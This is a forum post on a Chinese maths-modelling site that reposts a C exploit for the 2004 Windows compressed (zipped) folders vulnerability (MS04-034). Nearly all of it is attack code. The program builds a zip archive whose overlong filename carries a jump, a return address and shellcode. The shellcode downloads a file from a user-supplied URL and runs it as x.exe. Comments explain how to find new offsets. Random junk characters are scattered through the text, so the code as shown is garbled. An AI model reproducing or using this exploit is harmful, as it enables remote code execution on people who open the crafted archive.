数学建模社区-数学中国

标题: (MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders [打印本页]

---

作者: 韩冰    时间: 2004-11-21 10:51
标题: (MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) ]: R* r6 [8 i/ L ?* * Tested under Windows XP SP0 Spanish/English # H3 S0 E3 g; C' C* 7 y# E7 ^+ F0 F. }0 ]* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * 6 j0 k, E6 s3 D3 J5 j* Tarako - Haxorcitos.com 2004 " I0 b& K4 N) L4 q* + ^# Z1 N* v7 S% T* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 1 i! I+ M2 s9 s5 }& y% n* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION - F" [! m4 s/ ]5 o) z* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. ' T3 ]8 @9 ]0 C% ?* ; q6 z6 b2 r& }/ Z r" e9 H* Greetings t #haxorcitos, #dsr and #localhost @efnet * 6 M @! p+ h6 P( E/ c1 y) S* @" H* ) e, y0 ]7 R9 f* How to get new offsets: 5 C+ i7 M% ?7 \& f+ x+ z* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it 1 l4 M5 G9 X- v# n* ? Y/ ^6 R* 3) search in the explorer.exe memory the shellcode and get the addresses * / A3 K& ]; B9 R% u! Z/ o*/ 4 }5 O9 D- Y. K* K8 R( R1 g ! u: {+ E7 m6 N+ I+ b; [/ Y#include <stdio.h> #include <windows.h> 1 i: V9 j- J# G* u; V' x9 M#pragma pack(1) 5 H8 u. q) B7 E8 ~5 A / c6 {. b8 ~0 s- J#define DATOS "Tarako-Haxorcitos.com" typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) " b4 e6 i8 u0 ?: z, N s+ _WORD VersionNeeded; % J0 n& {7 V1 O o+ I } L6 pWORD GeneralPurposeFlag; // para el data descriptor y demas 7 \5 ~& ]! Y# {9 `WORD CompressionMethod; WORD ModFileTime; / @: J$ q0 {/ |+ W- @( SWORD ModFileDate; DWORD Crc32; DWORD CompressedSize; & d2 G3 a, P* ~7 h( F; d `* w1 M) ]DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) 5 D( s; l% o. x0 Z3 P// extra field (variable size) 0 ^# S% ]( i$ _- a1 o: ]}TOPHEADER; 0 N' M8 r- G) W; T# U* u6 b3 W$ u6 Ltypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; ) a! p8 T# P' B' zWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; + E% T0 e" |& ?6 }8 vWORD ModFileTime; 4 G" \* r" z# NWORD ModFileDate; DWORD Crc32; DWORD CompressedSize; 3 b# l4 i, T; z+ XDWORD UncompressedSize; WORD FilenameLength; 5 U7 c& E, Z* t3 m/ q. T+ uWORD ExtraFieldLength; ! C. r/ `; q, K' Z3 p" U& OWORD FileCommentLength; " v C9 Z! E, L9 I& y/ B7 vWORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; ; I# O1 R2 y: C, a: t$ t* s( @" YDWORD RelativeOffsetOfLocalHeader; " K* i. X9 o7 F! _! r/ B/ k! ?: B) U// filename (variable size) / }9 f0 u0 I1 a! d! U// extra field (variable size) // file comment (variable size) % l/ H% H! k) D- f! r4 G" Q0 O}MIDDLEHEADER; - ~6 F9 e/ L* g* d$ O6 Ltypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; 0 d- m& | k+ m4 z, ]7 K# jDWORD SizeCentralDirectory; x" r5 ?1 [% @) d3 j0 G2 b* w: T' }' zDWORD OffsetCentraDirRespectStartDiskNum; % a i' j4 U/ |. v7 O/ a/ oWORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; /* : R. \. \& ]% @1 w) i* download shellcode - RaiSe - raise@netsearch-ezine.com 8 I. k4 S- ~, D/ T) V+ W( |*/ ( l. I, x- C1 g3 A( r% uchar shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" * z. A$ }+ ^5 s$ q+ m# k"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" 8 Q0 m1 U# V! ]2 a, B, v"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" ) A9 v% V2 D' H; `) }"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" ' K! G, G! e C4 m4 }) q% e$ L"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" . W% D+ \9 ~% l9 t"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" & o, d8 F J. @* u- n"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" 6 A, T2 Y- e6 E% {' f6 K"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" 7 ^1 p0 D9 h2 H8 D5 \0 j"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" " v" o( |7 q( X! u"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" F8 W# Y6 u- s: ]' r! R"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" 9 z9 B0 _$ a, t G"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 9 O; Z! Y2 S& ~) s0 ` ^4 A" M"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 2 l5 h; W5 n0 C) E G& \4 r"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" ) Q; S# m/ A2 m8 j"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" 6 H" X1 a" B; a: |"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 3 Q% V- w9 t& \7 V- B: D% ichar shellcode2[] ="\x08\x01"; 5 t5 j% y& h/ [ char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; / o2 j. v" W# Kint main(int argc,char *argv[]) { FILE *ZipFile; 3 p+ G2 Z- ?5 |5 b7 rTOPHEADER *Cabecera1; 0 w2 U( y, N( P* M' S( vMIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; ; D2 _+ [2 b! ^) R: a j3 G# g {6 B/ q3 qDWORD c; & c, i, U" p, ?UINT i; char *filename; " o j( |' m+ wchar *url; 6 A) ]4 o# ?* \- |( @, G, Jprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); 9 l3 ~5 [- @7 j0 i* m( Z- J5 c - A: V+ Z+ t- N' Iif (argc!=2) { ( o$ M( M2 C) C& p( ^2 Z( a Nprintf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); ) w, L' H6 {6 N! p6 u5 ^8 N} , F. H" [1 ]; N" o R% F0 E * y2 D+ T" A& z4 P5 Zurl=argv[1]; " l' z$ Z* E/ uprintf("\n * URL: %s",url); , N. i: \* K) e+ m3 V4 ~ ! s' u: D. ?- ]. e$ c% p/ C 1 i; `9 k. s- C7 Sif (!(ZipFile=fopen("prueba.zip","w+b"))) { ) P2 Z+ R2 \. p) nprintf("\n [E] fopen()"); exit(1); 5 h3 n& {$ k* |% Y} / V: C% h! j/ H& z + F5 J8 ]5 R& p7 ]7 ?5 q( Qc=0x8000; // filename length # ^4 ?2 v* D! {filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); * P+ k6 M* U" o& Omemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); 3 u/ W' O: C& n5 b E0 ^# F1 u% Bmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); : M& f/ R0 x+ [' o7 y5 E% qmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 5 e/ m3 n I+ T. q) f $ r: w6 l1 @* k+ O2 ymemcpy(filename+(c-4),".txt",4); 6 |3 ^) X$ Y! x/ L WCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); ~4 [4 C* e C `9 Q q3 [Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); : i3 z; M9 _. [! D8 O2 a5 @memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); ( O1 p7 Z5 i7 {- [memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 3 u& U4 \" D' z: P" n1 Z$ P & Z; M3 `% K3 O+ G' z! V" `/////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// . u' R3 v: K' b1 A$ ~) x9 ICabecera1->Signature=0x04034B50; // DWORD + c, H5 A D ?, S" w6 g \, lCabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas / T9 O; P3 P" L% j9 TCabecera1->CompressionMethod=0x0000; // WORD % v6 z' L9 g& X, p+ VCabecera1->ModFileTime=0x1362; // WORD ! y, f( p) p( \9 Z; ^: tCabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD ! t2 [$ V( q$ {/ E2 SCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 5 w! s$ b( z L6 j/ e, ZCabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// // MIDDLEHEADER 5 J2 I& C. }* B, p" I: o- K/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD 9 i/ x. L4 q) |# s: L3 {Cabecera2->VersionNeeded=0x000A; // WORD 4 Y/ x& }! r( e1 X x% ], dCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD ' c# y! P- D5 zCabecera2->DiskNumberStart=0x0000; // WORD # _' a; ?2 [; v& G7 fCabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD 1 I- R* Y# k0 `7 C/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// % W3 V; O+ ~- T1 ^8 U// BOTTOMHEADER . g0 [* O" ?1 q7 P/////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD & j3 Y/ f* d1 R. L) QCabecera3->NumOfThisDisk=0x0000; // WORD - Z% V# [+ N1 s: f! z3 Y+ ~0 ^$ S* qCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD . E6 `" h/ F3 i8 A6 ~Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 9 J# W/ o y& H; @$ yCabecera3->ZipCommentLength=0x0000; // WORD / P( W- ~8 {/ j( V$ L: W* E* K/////////////////////////////////////////////////////////////////// 6 y+ t) ^( @& p4 Q0 G5 F/ Dfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); & M# v* t3 S4 m- D! p$ N1 ?% A # L3 v: N7 y: V z% ~fwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); : e8 {% Q( \; b fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); $ f+ G) p0 `) h2 r2 gfwrite(filename, c, 1,ZipFile); D# D. k) W" E( x0 d* b2 Cfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); * G8 C& p0 R* r1 W fclose(ZipFile); 0 v5 y6 m+ ]% j" Yprintf("\n * prueba.zip created\n"); return 1; }//downloaded from milw0rm.com

---

欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)

Powered by Discuz! X2.5